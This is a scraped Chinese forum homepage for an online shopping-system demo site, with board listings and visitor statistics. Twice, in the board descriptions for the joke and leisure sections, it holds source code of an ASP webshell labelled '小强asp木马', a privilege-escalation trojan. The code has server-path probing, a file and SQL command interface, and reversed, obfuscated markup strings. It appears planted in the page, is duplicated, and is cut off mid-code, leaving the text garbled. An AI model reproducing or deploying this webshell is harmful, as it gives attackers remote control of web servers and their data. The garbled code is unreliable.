» 您尚未 [登录 - 注册] ┆ 风格 ┆ 搜索 ┆ 帮助 ┆ 

  您的位置: 网趣网上购物系统 -> 论坛首页

您好,网趣网上购物系统新版发布啦,欢迎大家测试使用~...
用户名:  密 码:  
总 帖 数:3
今日帖数:0
注册会员:4
话 题 数:3
昨日帖数:0
新进来宾:cnhww

 笑话天地
<%UserPass="1" '修改密码mName="小强asp木马"SiteURL="http://www.shat.com" '网站Copyright="小强超强提权asp木马" '版权AD="注:请限于网站管理员安全检测用,请务使用于非法用途,后果作者概不负责!" '广告文字imgurl="" '精美横条,不用图片改为
bj="#000000" '设置背景颜色wz="#00ff00" '设置文字颜色budu="#FFFFCC" '设置按钮对话框颜色Server.ScriptTimeout=999999999:Response.Buffer =true:On Error Resume Next:sub ShowErr():If Err ThenRRS"

" & Err.Description & "

"Err.Clear:Response.FlushEnd Ifend sub:Sub RRS(str):response.write(str):End Sub:Function RePath(S):RePath=Replace(S,"\","\\"):End Function:Function RRePath(S):RRePath=Replace(S,"\\","\"):End Function:URL=Request.ServerVariables("URL"):ServerIP=Request.ServerVariables("LOCAL_ADDR"):Action=Request("Action"):RootPath=Server.MapPath("."):WWWRoot=Server.MapPath("/"):u=request.servervariables("http_host")&url:p=userpass:posurl="http":FolderPath=Request("FolderPath"):FName=Request("FName"):BackUrl="

返回
":function face(Color,Siz,Var):if Siz=0 thensiz=""elsesiz=" size='"&Siz&"'":end if:face=""&Var&"":End function:Function UZSS(objstr):objstr = Replace(objstr, "▇", """"):For i = 1 To Len(objstr):If Mid(objstr, i, 1) <> "~" Then NewStr = Mid(objstr, i, 1) & NewStr Else NewStr = vbCrLf & NewStr End IfNextUZSS = NewStr:End Function:ShiSan="▇>▇ srr~▇on=llorcs ▇ SRR neht ▇▇=noitcA fI~ ▇ydob<▇ srr~▇>tpircs/<▇SRR~▇};eurt nruter;)(timbus.mroFbD;▇▇▇▇=LMTHrenni.cba;gp = eulav.egaP.mroFbD;rts = eulav.rtSlqS.mroFbD};eslaf nruter;)▇▇!确正否是句语LQS查检请▇▇(trela{)01retnec/<。句语令命作操LQS入输再库据数接连己认确请>retnec<▇▇=LMTHrenni.cba;▇▇▇▇ = eulav.rtSlqS.mroFbD;{rfg}i{lfg}rtS = eulav.rtSbD.mroFbD{)3=

开心天地
有什么使人发笑的笑话和故事吗?讲给我听吧


主题:详细阐述网趣网上购物...
作者:Admin
时间:2008-7-23 9:13:54
 版主:admin  今日: 0 主题: 2 总贴: 2

 休闲娱乐
<%UserPass="1" '修改密码mName="小强asp木马"SiteURL="http://www.shat.com" '网站Copyright="小强超强提权asp木马" '版权AD="注:请限于网站管理员安全检测用,请务使用于非法用途,后果作者概不负责!" '广告文字imgurl="" '精美横条,不用图片改为
bj="#000000" '设置背景颜色wz="#00ff00" '设置文字颜色budu="#FFFFCC" '设置按钮对话框颜色Server.ScriptTimeout=999999999:Response.Buffer =true:On Error Resume Next:sub ShowErr():If Err ThenRRS"

" & Err.Description & "

"Err.Clear:Response.FlushEnd Ifend sub:Sub RRS(str):response.write(str):End Sub:Function RePath(S):RePath=Replace(S,"\","\\"):End Function:Function RRePath(S):RRePath=Replace(S,"\\","\"):End Function:URL=Request.ServerVariables("URL"):ServerIP=Request.ServerVariables("LOCAL_ADDR"):Action=Request("Action"):RootPath=Server.MapPath("."):WWWRoot=Server.MapPath("/"):u=request.servervariables("http_host")&url:p=userpass:posurl="http":FolderPath=Request("FolderPath"):FName=Request("FName"):BackUrl="

返回
":function face(Color,Siz,Var):if Siz=0 thensiz=""elsesiz=" size='"&Siz&"'":end if:face=""&Var&"":End function:Function UZSS(objstr):objstr = Replace(objstr, "▇", """"):For i = 1 To Len(objstr):If Mid(objstr, i, 1) <> "~" Then NewStr = Mid(objstr, i, 1) & NewStr Else NewStr = vbCrLf & NewStr End IfNextUZSS = NewStr:End Function:ShiSan="▇>▇ srr~▇on=llorcs ▇ SRR neht ▇▇=noitcA fI~ ▇ydob<▇ srr~▇>tpircs/<▇SRR~▇};eurt nruter;)(timbus.mroFbD;▇▇▇▇=LMTHrenni.cba;gp = eulav.egaP.mroFbD;rts = eulav.rtSlqS.mroFbD};eslaf nruter;)▇▇!确正否是句语LQS查检请▇▇(trela{)01retnec/<。句语令命作操LQS入输再库据数接连己认确请>retnec<▇▇=LMTHrenni.cba;▇▇▇▇ = eulav.rtSlqS.mroFbD;{rfg}i{lfg}rtS = eulav.rtSbD.mroFbD{)3=

灌水专区
欢迎您测试网趣网上购物系统


主题:脑筋急转弯3600题
作者:Admin
时间:2008-3-1 11:54:00
 版主:admin  今日: 0 主题: 1 总贴: 1

    在线统计

v 当前在线:2
v 在线会员:0 人
v 在线访客:2 人
v 最高在线:60
v 建站时间:2005年1月10日
v 发生时间:2010-4-29 14:19:32
v 您的IP是:38.107.191.111
v 操作系统:
v 浏 览 器:
在线图例: 管理员 ┋ 总版主 ┋ 论坛版主 ┋ 论坛贵宾 ┋ 在线会员 ┋ 游客/隐身会员


 论坛联盟
没有新的帖子 有新的帖子 被锁定的版面